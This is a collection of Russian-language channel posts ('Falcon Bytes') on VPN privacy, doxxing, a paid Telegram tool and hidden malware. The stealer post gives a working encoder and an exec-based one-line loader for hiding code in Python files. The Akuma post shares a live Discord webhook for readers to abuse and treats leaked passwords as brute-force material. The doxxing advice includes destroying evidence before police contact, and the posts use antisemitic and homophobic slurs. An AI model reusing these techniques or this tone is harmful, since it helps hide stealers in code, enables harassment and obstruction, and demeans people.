Здесь вы можете прочитать об инциденте в официальном источнике:

https://mullvad.net/en/blog/mullvad-vpn-was-subject-to-a-search-warrant-customer-data-not-compromised

Небольшая сводка информации об этом:

VPN-сервис Mullvad сообщил, что 18 апреля в их офис в Гётеборге пришли с ордером обыском по меньшей мере шесть сотрудников полиции Швеции. Силовики пытались получить компьютеры с данными пользователь_ниц, однако Mullvad не собирает и не хранит такую информацию ни на каких носителях.

Сотрудни_цам Mullvad удалось объяснить силовикам, что их VPN-сервис действитльно работает без сбора информации о пользователь_ницах. Они также объяснили силовикам, что изымать компьютеры на которых заведомо нет информации, которую ищет полиция, было бы нарушением закона Швеции.

Силовики ушли, не забрав техники Mullvad. Сервис подчеркнул, что даже если полиция и получила бы доступ к компьютерам, информация пользователь_ниц к ним бы все равно не попала.

Однако не стоит считать что какой-нибудь "бобр впн" будет безопасным. Многие впн сервисы, в основном бесплатные, чтобы можно было поддерживать себя сами сливают вашу информацию тому, кто лучше за нее заплатит. Это могут быть как силовики, так и другие сервисы, которые подбирают рекламу и собирают аналитику.

На связи был админ канала Falcon Bytes. До новых встреч!

Стиллеры в опенсорсе

2024-10-07T12:59:51.404Z

Всех приветствую! На связи админ канала Falcon Bytes!

Думаю, многие из вас пользуются платформой GitHub. Это прекрасная платформа на которой разработчики со всего мира делятся своими проектами и исходным кодом.

Но может ли быть в открытом коде стиллер? Об этом и будет идти речь в этой статье.

Все мы знаем, что в нашем любимом питоне можно использовать точки с запятой, как и писать весь скрипт в одну строчку. Да, это не выглядит так, что это можно использовать в корыстных целях, да и по PEP8 такое не разрешается. Но давайте честно: в ваших скриптах вас давно волновал PEP8?

Ближе к сути:

Сектор плюс на барабане! Вопрос: что выведет данный скрипт?

Думаете, это будет "zalupa"?

Если это ваш ответ, то частично вы правы. Но есть одень маленький нюанс))0)

Откуда же взялось "HELLO FROM FALCON BYTES"?

Рассмотрим скрипт повнимательнее

Т.к. в питоне мы имеем право разделять линии точкой с запятой, значит мы можем и увести на какую угодно длину, после чего прописать весь наш злой скрипт. Просто через пробелы стоит ";" и все.

На примере показан только print, однако можно прописать все, что душе угодно туда. Подшифруя код при помощи base64 и выполняя его с помощью exec, вирус не обнаружит GPT (как некоторые любят проверять), а учитывая то, что не компилированные python-скрипты почти не определяются антивирусами как потенциально опасные, стиллеры на питоне обретают новый смысл.

Если у вас появилась идея проверить, как работает такая пакость в реале, то я написал небольшой скрипт, который переводит код стиллера в base64 и делает его однострочным.

import base64

def process_and_encode_py_file(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
    single_line_code = ''.join(line.strip() + ';' for line in lines)
    encoded_code = base64.b64encode(single_line_code.encode('utf-8')).decode('utf-8')
    return encoded_code

file_path = input('Enter filename: ')
encoded_code = process_and_encode_py_file(file_path)
print(encoded_code)
with open('converted.rbf', 'a') as file:
    file.write(encoded_code)
    print('Base64 encoded and writed to converted.rbf')

Запускаете скрипт, на вход ему пишете путь к исходному питон файлу, и он зашифрует его и сохранит зашифрованную строку в файл converted.rbf и также выведет ее на экран.

Как использовать строку?

;import base64;falcon_bytes= base64.b64decode("тут_ваша_строка");exec(falcon_bytes)

Используйте это знание во благо.

Вывод

Проверяйте даже исходный код на наличие подарочков, тогда и не будет проблем со взломанными аккаунтами и спизженными тдатами.

На связи был админ канала Falcon Bytes. До новых встреч!

Защита от школодоксеров

2024-09-08T13:17:55.251Z

Всех приветствую! На связи админ канала Falcon Bytes!

Последние два года в русскоязычном пространстве стал очень популярен так называемый "доксинг" и "сваттинг".

Терминология

Доксинг - тоже самое, что и деанон, однако термином "доксинг", в отличие от "деанона", пользуется в основном тупорылая школота, которая узнала обо всем этом из видео "Сваттера 228" из тиктока.

Сваттинг - способ преследования лица путем введения в заблуждение сотрудников правоохранительных органов. В результате такого преследования к жертве приезжает наряд, в результате чего устройства этого человека проверяются а сам человек проходит в некоторых случаях допрос.

В последнее время подобная деятельность становиться все более популярной и появляется все больше руководств, где расписаны шаги для удачной атаки на цель. Более того, школьники создают отдельные группы, в которых они организованно занимаются рассылкой ложных писем, чтобы увеличить свою эффективность.

С этим разобрались, теперь перейдем непосредственно к основной части статьи.

Как защититься?

Не доверяйте никому.

Это может звучать банально, но именно через доверие чаще всего происходит деанонимизация. Даже если вы давно знаете человека в интернете, не раскрывайте ему личную информацию.

Прежде чем отправить скриншот или откровенное сообщение, задумайтесь: действительно ли это стоит делать? Какие могут быть последствия?

Полезно выработать привычку сомневаться. Рассматривайте всех, кто вам пишет, как потенциальных угроз.Такая осторожность защитит вас от ненужных рисков. Лучше быть настороженным и не поделиться лишним, чем потом сожалеть, обнаружив, что ваш собеседник действовал с недобрыми намерениями.

Избегайте распространения информации, которая может вам навредить, особенно в интернете.Даже если вы давно общаетесь с кем-то онлайн, но не встречались в реальной жизни, сохраняйте осторожность. Конфликты могут привести к утечке личных данных, что станет инструментом мести.

Изоляция

Изолируйте свой Telegram-аккаунтот других социальных сетей. Для общения с родственниками, друзьями и другими доверенными лицами используйте отдельный аккаунт.

На рабочем аккаунте отключите синхронизациюконтактов. Если в списке будут близкие люди и произойдет утечка данных, вашу личную информацию станет легче найти. Например, по аккаунту брата могут выйти на его социальные сети, затем найти фото с вами и вашу геолокацию.

Будьте внимательны к тому, что и в каких чатах пишете. Существуют сканеры, которые отслеживают сообщения и сохраняют их в базу данных. Если вы состоите в локальных чатах, вроде "Обмен Омск", это может указать на ваш регион проживания, что значительно сузит область поиска.

Рекомендую регистрировать рабочий аккаунт на виртуальный номер, а на реальный будет аккаунт для родственников и остальных.

Очистка

В первую очередь вам необходимо определиться с тем, создавали ли вы когда нибудь страницы ВКонтакте с реальными именами? Если ранее вы создавали и на них есть ваши детские фотографии, берем паспорт, идет в поддержку, и удаляем эту страницу. Ничего сложного. Если у вас в НАСТОЯЩИЙ момент используется страница где когда-то было ХОТЯ БЫ ваше имя, даже без фамилии, идем и удаляем. Если вы не хотите удалять эту страницу, то позаботьтесь о том, чтобы на ней ничего не указывало на вашу личность в интернете.

Пример:
Во Вконтакте вы отправили ссылку на ваш телеграм аккаунт, отправили свою аватарку из телеграм или очень сходится плейлист музыки с тем, что есть в телеграме.
Многие в юношеском возрасте могли записывать ролики на YouTube, и поэтому рекомендую повспоминать свои старые времена и аккаунты, где могли быть ваши записи. По возможности восстановить и удалить аккаунты и видео.
Перейдем к браузеру, берем свои никнеймы которые когда-либо использовали, вводим в браузерную строку, и смотрите все источники где был ваш никнейм, возможно там вылезет ваш старый YouTube канал или сайты, где есть информация о вас. Также попробуйте через ФИО. Возможно придется менять ник, если будет информация о вас.
Проверьте свои никнеймы/почты на слив паролей.
Не используйте свои личные реквизиты

Ложный след

Запутайте тех, кто вас будет искать. Создайте фейковые пасты с информацией о вас. Разместите их в доступных местах, чтобы те, кто вас будет искать удовлетворились фейковой информацией, которую они нашли и не продолжали поиски дальше. Также можно постить фейковую информацию о себе раз в неделю, тогда хуй поймешь, где реальная инфа, а где фейк.
При переходе на любые ссылки (даже Telegraph статьи из телеграма) советую использовать VPN или сервисы, которые показывают содержимое ссылки. В Telegraph статьях можно поместить IPlogger.
Не скрывайте данных о себе в ботах вроде Глаза Боба. При скрытии этой информации среди других пользователей вы сливаете боту еще больше данных о себе. Если уж решились скрывать данные - скрывайте с отдельного браузера, включите TOR/VPN и используйте левые почты, которые нигде более не зарегистрированы. Скрывать о себе информацию в данном боте довольно глупое решение, ведь информацию можно скрыть в двух вариантах: Вы работаете в гос. органах, или создаете заявку о скрытии информации, но в обмен даете свою настоящую информацию, и при малейшей ошибке, Глаз Боба сам лично выдаст вашу информацию гос. органам. Также может случиться, что администрация глаза боба сочтет информацию, которую вы указали при сокрытии данных недостоверной, и раскроет ее, вы же - потеряете анонимность.
Не ищите информацию о своем реальном номере телефона в ботах по пробиву / бомберах. Как показала практика первое, что вбивают в поиск школьники, когда заходят в бота - их собственный номер телефона / фио /почта. Я уверен, что создатели пробив ботов это хорошо понимают, и историю таких запросов могут записывать.
Ни в коем случае не сливайте любым ботам ваш контакт. Даже виртуальный номер ботам не нужно знать, чтобы вам был предоставлен доступ куда либо.
Пользуйтесь проверенным софтом. Я лично видел немало случаев, когда говнокодеры вставляли в свои утилиты логгеры, и отслеживали, что их пользователи ищут. Как я уже говорил ранее, первое что ищет пользователь в утилите по пробиву - его собственный номер телефона. Если хотите проверить, есть ли ваш номер телефона в пробив базе - делайте это вместе с другими номерами телефона, которые не имеют отношения к вам. Также советую это делать на чистом отдельном аккаунте. В многих пробив ботах есть функция конструктора - рекомендую ее использовать и создать свое зеркало, тогда никто кроме вас и разработчиков бота не будет видеть ваши запросы на поиск.
Используйте анонимные платежные средства.При необходимости, для финансовых операций используйте криптовалюты или предоплаченные карты, чтобы избежать привязки транзакций к вашей личности.
Не доверяйте облачным хранилищам. Избегайте хранения важных или личных данных в облачных сервисах. Лучше использовать зашифрованные локальные хранилища.
Отключите принятие звонков в Telegram, по ним можно узнать ваш IP адрес.

Касаемо дефов

Деф - это когда один школьник покупает у другого "защиту" своей задницы в случае того, если на него нароют информацию. Показываю конкретно на примере чем занимаются дефы:

Если на вас уже нарыли информацию, то кроме вас самих, никто не станет напрягаться по этому поводу. Все, чем занимаются дефы - отправка тонны поноса в личку к обидчику. Еще подобные немощи могут создать группу, в которой всем своим бомжесквадом на тебя будут лаять как чихуахуа. На этом их действия заканчиваются.

Что делать, если уже сватнули?

Если вы уверены, что от вашего имени разослали письма о минировании, действуйте следующимобразом:

Сохраните скриншоты с угрозами. Перешлите в избранное сообщение от этих людей. Сделайте скриншот диалога, гда человек "Х" угрожает вам. Эти скриншоты вы сможете предоставить полиции как доказательство. Также вы можете сделать скриншоты профиля самого человека, который вам угрожал сватом. Сохраните его юзернейм, сохраните айди его аккаунта.
Удалите в телеграме все чаты, которые связаны со сваттингом и другой незаконной деятельностью.
Очистите на своих устройствах незаконные материалы. Особое внимание обратите на различные мануалы по деанону и сваттингу.
Напишите заявление в полицию, в котором вы опишете ситуацию, что от вашего лица разослали предупреждения о минировании.
Учтите, что ваши устройства могут и будут изъяты полицией на проверку. Проверка обычно длится около двух недель, однако время может быть меньше или больше.

В общем, если у вас не будет следов того, что вы занимаетесь лжеминированием или подобной деятельностью, вам не о чем беспокоиться.

Обычно сваттинг - больше психологическая манипуляция, и даже в случае, если ваши данные будут где-то выложены, ничего плохого не произойдет. Ни в коем случае не поддавайтесь наманипуляции пидорасов,которые вам угрожают и не выполняйте их требований.

Лучший способ защиты от школосваттера -анонимность. Позаботьтесь о ней в первую очередь.

Вывод

Доксеры и школосваттеры -немощные уебища, которые особой опасности не представляют, если придерживаться базовой цифровой гигиены и критически осмыслять информацию, которая квам поступает.

На связи был админ канала Falcon Bytes. До новых встреч!

Akuma - распиаренный наеб гоев

2024-08-09T17:31:31.316Z

Всех приветствую! На связи админ канала Falcon Bytes!

Думаю, многие из вас уже наслышаны о проекте "Akuma" и о его распиаренности. Пришло время мне поведать о том, что "Akuma" представляет из себя на самом деле.

Как утверждают многие школьники, акума самый лучший софт, который есть на сегодняшний день в телеграм, и даже умудряются сравнивать его с софтом "Sense".

Кое-какие люди отправили мне на проверку их лоадер, который собственно, используя говнокодные костыли, подгружает их софт.

Разберем некоторые моменты их лоадера.

Даже без глубоких знаний реверса можно прочитать их гавно:

Даже в этой хуйне вы получаете ебучий логгер с вашим хвидом и временем захода.

Смотрим дальше:

Б-Безопасный способ хранения клиентских учетных записей. Посмотрим, что же на этом пастбинчике разместилось:

В принципе, ожидаемо. Теперь можем посмотреть, что с автора этих пастбинов еще было запосчено.

Вот ведь веселуха. Как можно предположить, первая колонка с паролями и логинами - это ничто иное, как аккаунты админов в этом говне. На этой пасте можно лицезреть всех клиентов и их пароли. Отличный материал для пополнения брутфорс словарей. Про хеши chatgpt программисты видимо не слыхали.

Б - Безопасно

Смотрим, что там за вебхук дискорда

Убеждаемся, что вебхук валидный.

Используя онлайн сервисы или простыми скриптами шлем приветик от всей души нашим ребяткам

Чтобы вы тоже смогли поучавствовать в этом, оставляю вам вебхук. Можете слать через него что хотите.

https://discord.com/api/webhooks/1256686539573035099/oDitoVSfEdbecZEA_DhnRcIR6eJLycZFY98BvQuQ-8_sZphqM1GJ-nYCsDOZo8-EtchR

Один уважаемый человек предоставил нам исходник этой параши, поэтому у вас есть уникальная возможность посмотреть, на что вы тратите минимум 10 баксов в неделю.

Для начала видим импорты, которые нахуя-то повторяются два раза в коде. Я полагаю, это уверенность в том, что модуль импортируется, если вдруг вселенная схлопнется, и первый импорт не сработает

Тут маняпитонисты нахуя-то написали функцию, которая очищает терминал, но буквально немного ниже посылают эту функцию нахуй, написав буквально тоже самое

Спрашивается: нахуя делать функцию, которую не используешь?

Едем дальше.

Очередной импорт библиотек, которые уже были импортированы в начале. Не забываем: вселенная может схлопнуться.

Здесь можно наглядно наблюдать про "уникальный" пробив с использованием API Leakosint. Я уже промолчу о том, что функции названы с большой буквы.

Спрашивается: нахуя вам такой софт, который полностью зависит от ликосинта?

В очередной раз импортируютсся те же библиотеки. Я так понимаю, это какой-то фетиш на импорт одной и той же библиотеки.

В очередной раз копипаст одной и той же функции. Нахуя?

Бесполезная функция для бездарей-школосваттеров для шкибиди докс докса

ОХУЕТЬ КАКИЕ ПОЛЕЗНЫЕ ФУНКЦИИ С ОДНИМ ПРИНТОМ АХВЗЫАФЫВАФЫВАХ.

Додоз отако с путона и одного сервера. Этот кал не уронит ровно нихуя. Даже если веб сайт будит хоститься на бабушкиной нокиа.

Отличная дырочка по которой можно выебать их сервер с ботнета, так как при скане портов она будет слать запросы со своего IP адреса

Отсюда складывается вопрос:

Вы действительно считаете, что этот кал стоит 1000р/неделя?

Даже блядь просто если включить критическое мышление и немного математики

Весь пробив держится на Leakosint и только нем. Давайте же вместе посчитаем, сколько реально стоит ваш пробив.

Зайдем на официальный сайт Leakosint и посмотрим цены на запросы у их API

При генерации нового API ключа Leakosint на его баланс начисляется 100 бесплатных запросов. 100 запросов на халяву мать вашу.

Представим, что в среднем вы будете в день тратить максимум 10-15 запросов.

15 * 0.003 = 0.045

Итого получается 5 центов в день. Если пользоваться ликосинтом каждый день, то в среднем получится примерно 35 центов в неделю.

Получается, на запросы leakosint вы будете тратить в неделю около 30 рублей.

Цена этого кала составляет 999р в неделю.

Итого сумма чистого наеба составляет: 969 рублей

За 1000р вы можете пользоваться активно пробивом 33 ебучих недели!

А это 7 месяцев.

Вывод:

Не пользуйтесь говнософтами с сомнительным функционалом и логгированием. Включайте мозги и думайте, иначе вас будут разводить всякие барыги на бабки как лохов. Не ведитесь на красивую обертку, ведь под этой оберткой может быть отборная какаха.

Подписывайтесь на наши каналы: Falcon Bytes, Sense

На связи был админ канала Falcon Bytes. До новых встреч!

Опасность конфигов OpenVPN

2024-07-30T15:52:01.700Z

Приветствую! На связи админ канала Falcon Bytes! Думаю многие из вас используют OpenVPN для разных целей. В этой небольшой статье я обращу ваше внимание на возможные риски использования сторонних конфигов опенвпн.

Существует много раздач/сайтов с конфигами, которые маловероятно что кто-то проверяет, в последствии могут получить зверька к себе на компьютер.

Как это происходит?

Вы качаете конфиг:

Дальше импортируете его в ваш OpenVPN:

И вроде бы все гладко, но у нас открывается странная хуйня.

В чем же основной прикол?
Откроем наш конфиг при помощи Блокнота

Не будем вдаваться в подробности, но в "Shell" может и оказаться наш Payload, который может дописать любой юзер.

Примерно так выглядит содержание такого вирусного конфига

Здесь, как вы могли заметить, открывается ссылка с файлом из облака. В файле может быть абсолютно любой исполняемый файл, в том числе и троян. Так что проверяйте файлы, которые качаете, чтобы не поймать неприятный сюрприз на ваше устройство.

На связи был админ канала Falcon Bytes. До новых встреч!

VPN Не анонимен

2024-06-22T18:19:17.677Z

Приветствую! На связи админ канала Falcon Bytes!

На любом "темном" форуме есть не менее десятка тем с обсуждением VPN сервисов. И что характерно ни в одной из них не обсуждается вопрос - а дают ли VPN какую то анонимность вообще. Везде обсуждается "какой VPN лучше для дел"

При этом обсуждение ведется с такой позиции, якобы польза VPN в плане анонимности это аксиома, а не теорема или гипотеза. В связи с чем у меня возникает вполне логичный, на мой взгляд, вопрос:

Кто вам сказал, что впн вам даст анонимность?

Где есть высказывание эксперта, который знает толк в ~~извращениях~~ анонимности, что VPN пригодна для этого? Покажите мне ну хоть одну ссылку? Все, "аргументы" которые я видел это:

1. Сами VPN сервисы так пишут;

2. Все ими пользуются;

3. Х сказал в своем вебинаре, что VPN - анонимность (где Х это невнятный кухонный "эксперт" который сам преступлений не совершает, но почему то считает что имеет право давать советы тем, кто их совершает ежедневно).

Ничего более вразумительного чем эта дичь я пока не увидел. И я уверен на 101% что и не увижу. И этой статье я объясню почему.

Буква А - Алфавит.

Для начала давайте определимся с терминами, а то как показывает практика далеко не все понимают что такое анонимность (что не мешает им обсуждать эту тему с экспертной позиции). Постараюсь объяснить максимально просто и доходчиво, с использованием всем понятных примеров:

А - Анонимность.

Анонимность это когда всем видны твои действия, но никто не знает что их совершаешь конкретно ты. Например ты надел черную шапочку с дырочками для глаз, черные джинсы и черную куртку и пошел в таком виде в незнакомый двор, где справил нужду прямо при местных жителях. В этом случае ты анонимен - так как все видели как ты ссал, но никто не в курсе кто ты.

П - Приватность.

Приватность это когда всем видно, что ты совершаешь какие то действия, но не видно что именно ты совершал. Например ты закрыл экран смартфона волосатой ладошкой и что то смотришь. Всем понятно что скорее всего там что то нехорошее, но все это на уровне подозрений. В этом случае у тебя приватный просмотр порнухи - так как все видят что ты шифруешься, но доказать не могут.

Б - Безопасность.

Безопасность - это комплекс мер, направленный на упреждение ущерба от вероятных векторов атак. То есть ты примерно представляешь где ты можешь наступить двумя ногами в маргарин и заранее продумываешь

А - как этого по возможности избежать

Б - как быть если это все же произошло

Если у тебя есть ответы по каждому вектору атаки (деанонимизация в сети по идентификаторам, деанонимизация в сети по кросспостингу, пробив по финансовым схемам, пробив по агентурным данным, спецоперации направленные на твою поимку и т.п.) то могу только похвалить и порадоваться за тебя. Если же нет, то это твоя первостепенная задача, потому что привычка думать а-ля "да кому я нужен, я капля в море" рано или поздно поставит тебя раком в тупике, я тебе это гарантирую.

Мнение экспертов.

VPN сервисы бывают либо платными либо бесплатными. Хотя на мой взгляд глупо вообще писать такое, но тем не менее есть еще совсем неопытные жители интернетов, которые не понимают даже этого.

Сервису нужны деньги, это аксиома. Так вот если платные сервисы берут за услуги ежемесячную оплату, то это вполне нормально. У меня не возникает вопросов, откуда у них бабло на зарплаты, налоги, аренду, оборудование и прочее. А вот откуда на это деньги у бесплатных сервисов?

Да все просто. От продажи логов своих абонентов. Да, именно так. Они продадут логи куда ты ходил, что смотрел, что вбивал в поиску любому кто заплатит. Обычно это покупается для анализа директ-рекламы, хотя на мой взгляд даже это паскудство, но думаю принцип "деньги не пахнут" там имеет место быть.

Так что в данной статье под VPN я подразумеваю именно VPN, а не эту бесплатную замануху для хомячков.

Давайте посмотрим что написано в Википедии:

"VPN НЕ МОГУТ сделать сетевые соединения полностью анонимными, но ОБЫЧНО они увеличивают приватность и безопасность, предотвращая утечки информации" (то есть даже с приватностью и безопасностью не все в порядке у VPN, не то что с анонимностью - прим. автора).

Приватные сети не разрабатывались для решения такой тактической задачи как полная анонимность. Они тупо шифруют данные для того что бы помешать свободному перехвату конфиденциального трафика. Например нужно передать из офиса А в офис Б информацию под грифом "Коммерческая тайна". Атакующий знает о том что между двумя узлами передается информация, и даже догадывается какая. Но ее перехват практически невозможен, так как за то время пока будет идти дешифровка этих данных они уже потеряют свою ценность и перестанут являться тайной.

А вот что думают по поводу VPN разработчики T.A.I.L.S.

"Некоторые пользователи запрашивают поддержку VPN в Tails для "усиления" анонимности. Ну типа "чем больше серверов в цепочке, тем типа круче". Это тупо неверно - VPN только снижает вашу анонимность, потому что у вас будет или постоянный входной сервер (в схеме "tor over vpn") или постоянный выходной сервер (в схеме "vpn over tor").

Так что мы не хотим вводить поддержку VPN как замену Tor так как они предоставляют УЖАСНУЮ АНОНИМНОСТЬ (в оригинале terrible anonymity - прим. автора) и это противоречит целям, для которых создавалась Tails."

Напомню, что T.A.I.L.S. распространяется бесплатно и смысла ее разработчикам врать нет, а вот с продавцами "немножко анонимности" все совсем наоборот - им есть смысл внушать людям о том что Tor это "палево" или он "дырявый" так как они могут заработать больше шекелей на доверчивых хомячках.

Наверняка возникнет вопрос - а почему количество серверов не "усиливает" анонимность. Внесу ясность:

Для решения такой тактической задачи достаточно всего трех "хопов" - прыжков от сервера к серверу, типа так:

[user] --hop1--> [node] --hop2--> [node] --hop3-->[internet]

смысл такой цепочки в том, что бы в ней не было узла, который знаком одновременно и с "юзером" и с "конечным сайтом" - то есть некоего слабого звена, которое "знает слишком много". При условии постоянной смены узлов и цепочек (что в Tor что, в i2p цепочки/туннели "живут" всего 10 минут) такого количества уже достаточно. При этом мы имеем всего два промежуточных узла, на которых может остаться информация, интересная вероятному противнику.

Если же увеличить количество узлов в цепочке, скажем в два раза, то это не даст никакого прироста в анонимности - что в прошлом примере что в этом "юзер" и "конечная станция" разделены так, что нет "слабого звена" на котором останутся данные и юзера и конечного сайта Но вот количество узлов на которых мы "запалимся" увеличится ровно в два раза, равно как и шансы, что какой то из узлов находится под контролем вероятного противника.

Так что дальнейший прирост промежуточных узлов будет уменьшать, а не увеличивать нашу защиту. Особенно если они "перманентные" - не меняющиеся. И особенно если на них есть данные про наши кошельки. И уж тем более если их IP адреса известны всем желающим (адреса серверов VPN лежат в открытом доступе на сайтах сервисов).

"Красный как пожарная машина".

С чего вы взяли что сервисы не сдадут вас? До официального уведомления еще имеет место быть отмазка "Я был не в курсе". Но после того как придет бумага из любого "силового" типа вот такой:

Сотрудники VPN окажутся в ситуации когда они знают ваш IP адрес, знают ваши кошельки, с которых совершалась оплата и теперь уже знают, что вы совершали преступления, прикрываясь их добрым именем. При этом они наверняка прописали это в своих Privacy Policy (которые я уверен либо не читали либо не поняли) заранее предусматривая эти ситуации.

Отказ выдать данные будет классифицироваться как минимум как укрывательство, как максимум - соучастие в совершение преступления. С чего вы взяли, что ради одного из нескольких десятков, а то и сотен тысяч клиентов, который НАРУШИЛ ПРАВИЛА СЕРВИСА и СОВЕРШАЕТ ПРЕСТУПЛЕНИЯ кто то будет накалять отношения с правохранителями? И не надо мне тут втирать что сервис в Италии. Бумага от наших специалистов полетит одновременно и в офис VPN и местным специалистам в погонах. Сейчас обмен информацией практикуется довольно часто, железный занавес рухнул почти 30 лет назад и копы всех стран давно поняли выгоду такой совместной работы.

В заключении скажу, что есть VPN сервисы "на дарксайде" которые придумали как отклонять запросы выдать инфу и запросы "тэйк дауны" (перестать обслуживать кого то из клиентов) почти легально. Для решения такой тактической задачи обычно используются такие маневры как:

1. Регистрация юридического лица в странах с "дырявым" или лояльным к такой деятельности законодательством.

2. Постройка серверов на энергозависимых носителях информации.

Но я не буду называть их ибо они ненамного лучше обычных сервисов, поскольку основа анонимности это отсутствие своих идентификаторов (работа через чужие точки доступа а.к.а. WiFi + Tor с обфускацией (маскировкой) трафика. Именно по этому в T.A.I.L.S. весь трафик завернут через Tor и предустановлен комплекс Airckrack-ng. Так что WarTech CR1ME Linux - это эволюционировавшая T.A.I.L.S позволяющая гибкие настройки, установку нужных программ и гораздо более широкий арсенал вооружения. Сама же концепция придумана не мной, о чем я не стесняюсь писать.

Посмотрим на правила использования одного из сервисов, который входит в топ - 10 мировых говнорейтингов типа:

Топ 10 VPN-сервисов

Top 10 Best VPN Services - March 2018 | Top10VPN.com

The Best VPN services for 2018

Используя наш сервис вы автоматом соглашаетесь что вы не будете:

Отправлять или пересылать рекламу против желания получателя (так называемый спам) через наш сервис.
Отправлять, размещать или пересылать через сервис любой контент который запрещен законом, (слову hateful сложно подобрать равноценную замену, ну это короче "полные ненависти" посты), а так же все что связано с нарушением частной жизни, авторских прав и интеллектуальной собственности, угрозы и тп.
Закачивать, скачивать, постить, репостить, распространять любые материалы защищенные авторскими правами.
Закачивать, скачивать, постить, репостить, распространять любые материалы ущемляющие права всяческих ~~пидарасов~~ меньшинств.
Совершать любые действия мешающие другим нашим клиентам использовать или получать удовольствие (лолшто?!) от нашего сервиса.
Совершать ПОПЫТКИ взлома, анализа/сбора информации или подключения к компьютерным устройствам без права на это - подчеркиваю запрещено даже пытаться - то есть уже за это ты персоной нон грата можешь стать.
И мой любимый пункт - ИСПОЛЬЗОВАТЬ СЕРВИС ДЛЯ ЛЮБОЙ ДЕЯТЕЛЬНОСТИ КРОМЕ КАК АБСОЛЮТНО ЗАКОННОЙ!

Вдумайтесь, что это за документ. Это заранее подготовленная отмазка "мы не при делах и не знали что он преступник - сами с ним разбирайтесь". Какой защиты вы ищите в этих сервисах?

На связи был админ канала Falcon Bytes. До новых встреч!

Никита

Разбор Horizon

Распаковка и анализ

Выводы

Чистим накрутку

Как мы будем это делать?

Заключение

Основы Доркинга

Какие вещи лохи подключают к интернету?

Поиск FTP-серверов и веб-сайтов с помощью HTTP​

Поиск файлов журнала с паролями и именем пользователя​

Не давайте бомжам себя обмануть

Приступим к разбору.

Вывод

Что видит провайдер при подключении к VPN

Стиллеры в опенсорсе

Ближе к сути:

Вывод

Защита от школодоксеров

Терминология

Как защититься?

Не доверяйте никому.

Изоляция

Очистка

Ложный след

Касаемо дефов

Что делать, если уже сватнули?

Вывод

Akuma - распиаренный наеб гоев

Вывод:

Опасность конфигов OpenVPN

VPN Не анонимен

Поиск FTP-серверов и веб-сайтов с помощью HTTP

Поиск файлов журнала с паролями и именем пользователя